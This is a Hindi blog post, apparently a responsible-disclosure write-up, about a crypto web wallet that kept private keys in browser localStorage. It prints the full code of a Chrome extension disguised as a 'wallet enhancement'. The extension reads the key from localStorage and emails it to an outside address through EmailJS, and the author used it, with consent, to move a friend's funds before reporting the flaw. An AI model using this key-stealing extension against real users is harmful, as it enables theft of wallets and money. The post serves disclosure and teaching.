जनवरी 2022 में, मैं प्रूफ़-ऑफ़-स्टेक ब्लॉकचेन में से एक के समुदाय में शामिल हुआ। प्रोटोकॉल और उसके पारिस्थितिकी तंत्र की पेशकश के साथ खेलने के लिए, मैंने आधिकारिक वेबसाइट https://wallet.****.org
पर एक वॉलेट खाता बनाया। सामान्य जिज्ञासा के अलावा, मेरी दिलचस्पी इस बात में थी कि उन्होंने ब्राउज़र में सुरक्षा कैसे हासिल की, खासकर एक्सटेंशन और क्लाइंट-साइड कमजोरियों के युग में।
यह पता चला कि जब कोई उपयोगकर्ता लॉग इन करता है, तो वॉलेट एप्लिकेशन (रिएक्ट में निर्मित) सार्वजनिक और निजी कुंजी का एक सेट उत्पन्न करता है और उन्हें ब्राउज़र के स्थानीय भंडारण में संग्रहीत करता है। वितरित सिस्टम में प्रमाणीकरण और प्राधिकरण के निर्माण के अपने अनुभव के साथ, मुझे पता था कि ऐसा करना सबसे अच्छी बात नहीं है - सामान्य तौर पर, ब्राउज़र एक्सटेंशन और क्लाइंट-साइड कोड के लिए स्थानीय स्टोरेज से डेटा पढ़ना आसान है [ 1 ]।
इसे साबित करने के लिए, मैंने क्रोम के लिए एक सरल एक्सटेंशन लिखने का फैसला किया जो पीड़ित के ब्राउज़र से चाबियाँ पुनर्प्राप्त करेगा और उन्हें मेरे अज्ञात ईमेल पते पर भेज देगा।
मेरे पिकपॉकेट एक्सटेंशन की मूल निर्देशिका इस तरह दिखती थी:
. ├── content.js ├── email.min.js ├── index.html └── manifest.json
मुख्य फ़ाइलें manifest.json
और content.js
हैं। एक्सटेंशन स्थापित करने के लिए पूर्व आवश्यक है।
{ "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }
email.min.js
क्लाउड सेवाओं में से एक क्लाइंट लाइब्रेरी है जो आपको बिना किसी सर्वर कोड के ब्राउज़र से सीधे ईमेल भेजने की अनुमति देती है। index.html
एक रिक्त HTML पृष्ठ है जो कुछ भी प्रदर्शित नहीं करता है। वॉलेट अपहरण का तर्क content.js
फ़ाइल में रहता था:
emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });
हाँ, ऐसी ही एक डमी स्क्रिप्ट।
मैंने सभी चार फाइलों को एक ज़िप संग्रह में पैक किया और अपने दोस्त से, जिसके पास https://wallet.***.org
पर एक वॉलेट भी था, मेरी रचना को अपने ब्राउज़र में इंस्टॉल करने के लिए कहा (कुछ सोशल इंजीनियरिंग करने का नाटक करते हुए)। ऐसा करने से पहले, मैंने उन्हें अपने निष्कर्षों और उस सिद्धांत के बारे में बताया जिसे मैं साबित करने की कोशिश कर रहा था। वह मदद करने में प्रसन्न था, और ब्राउज़र एक्सटेंशन इंस्टॉल होने के कुछ सेकंड बाद इस वॉलेट खाते की सार्वजनिक और निजी कुंजी मेरे इनबॉक्स में दिखाई दीं। इसके बाद, मैंने अपने ब्राउज़र में स्थानीय स्टोरेज की कुंजियाँ सहेजीं और वॉलेट वेबसाइट खोली।
आश्चर्य की बात यह है कि मेरे मित्र का क्रिप्टो-वॉलेट बैलेंस मेरे लिए उपलब्ध था, साथ ही धनराशि निकालने का विकल्प भी था। अपने पीड़ित मित्र के साथ ज़ूम कॉल के दौरान, मैंने उसके कुछ फंड एक गुमनाम खाते में स्थानांतरित कर दिए और वापस आ गए। यह मन को झकझोर देने वाला था! एक नया, आशाजनक ब्लॉकचेन जिसने हाल ही में एक निवेश दौर बंद कर दिया था, उसके बटुए में एक बड़ी भेद्यता थी। सबसे बुरी बात यह है कि उनके पास उपयोगकर्ताओं के लिए 2-कारक प्रमाणीकरण था। निःसंदेह, बहुत से लोग इसे तुरंत सक्रिय नहीं करेंगे, और बहुतों ने नहीं किया।
एक नैतिक डेवलपर के रूप में, मैंने एक भेद्यता रिपोर्ट बनाई, जिसमें ब्राउज़र एक्सटेंशन का स्रोत कोड और वेब एप्लिकेशन की सुरक्षा में सुधार करने के तरीके पर मेरे विचार शामिल थे। इसे 18 जनवरी को सीधे सुरक्षा टीम के ईमेल पते पर भेजा गया था। कुछ दिनों बाद, मुझे ब्लॉकचेन प्रोटोकॉल के सीआईएसओ से फोन आया, जिन्होंने मुझे आश्वासन दिया कि वे इस मुद्दे से अवगत हैं और अगली रिलीज में इसका समाधान करेंगे। मैं घटना पर प्रतिक्रिया की गति से थोड़ा निराश था। जब कोई उपयोगकर्ताओं के पैसे के बारे में बात करता है तो दो दिन अनंत काल होते हैं। फिर भी, ब्लॉकचेन डेवलपर्स ने मुझे 1000 यूएसडीटी के बराबर राशि में अपने टोकन दिए।
👉🏻 एप्लिकेशन डेवलपर्स के लिए सलाह: आपके द्वारा उपयोग की जाने वाली तकनीकों और उनके सुरक्षा पहलुओं से अवगत रहें।
💡 क्रिप्टो उपयोगकर्ताओं के लिए सलाह: जानें कि कोई संगठन आपको कौन से सुरक्षा विकल्प प्रदान करता है, वॉलेट खाता बनाते ही दो-कारक प्रमाणीकरण सक्रिय करें, अपने सभी फंड हॉट वॉलेट में संग्रहीत न करें।
यहाँ भी प्रकाशित किया गया है.